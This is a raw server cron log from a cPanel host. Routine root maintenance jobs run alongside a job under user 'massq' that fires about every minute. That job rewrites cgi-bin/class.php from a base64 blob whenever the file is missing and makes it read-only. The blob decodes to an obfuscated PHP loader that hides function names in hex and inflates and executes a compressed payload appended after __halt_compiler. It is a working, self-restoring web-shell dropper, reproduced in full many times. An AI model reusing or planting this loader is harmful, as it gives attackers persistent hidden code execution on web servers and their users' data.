Sep  6 17:47:01 server CROND[17787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:47:01 server CROND[17788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:47:01 server CROND[17789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:48:01 server CROND[18155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:48:01 server CROND[18156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:48:01 server CROND[18157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:49:01 server CROND[18616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:49:01 server CROND[18617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:49:01 server CROND[18618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:50:01 server CROND[18997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:50:01 server CROND[18999]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:50:01 server CROND[19000]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:50:01 server CROND[19005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:50:01 server CROND[19002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:50:01 server CROND[19003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:50:01 server CROND[19006]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:50:01 server CROND[19001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:50:01 server CROND[19004]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 17:51:01 server CROND[19834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:51:01 server CROND[19835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:51:01 server CROND[19836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:52:01 server CROND[20204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:52:01 server CROND[20205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:52:01 server CROND[20207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:53:01 server CROND[20595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:53:01 server CROND[20596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:53:01 server CROND[20598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:54:01 server CROND[20965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:54:01 server CROND[20966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:54:01 server CROND[20967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:55:01 server CROND[21337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:55:01 server CROND[21339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:55:01 server CROND[21341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:55:01 server CROND[21345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:55:01 server CROND[21342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:55:01 server CROND[21344]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:55:01 server CROND[21343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:56:01 server CROND[22253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:56:01 server CROND[22254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:56:01 server CROND[22255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:57:01 server CROND[22629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:57:01 server CROND[22630]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 17:57:01 server CROND[22631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:57:01 server CROND[22632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:58:01 server CROND[23174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:58:01 server CROND[23175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:58:01 server CROND[23176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:59:01 server CROND[23542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:59:01 server CROND[23543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
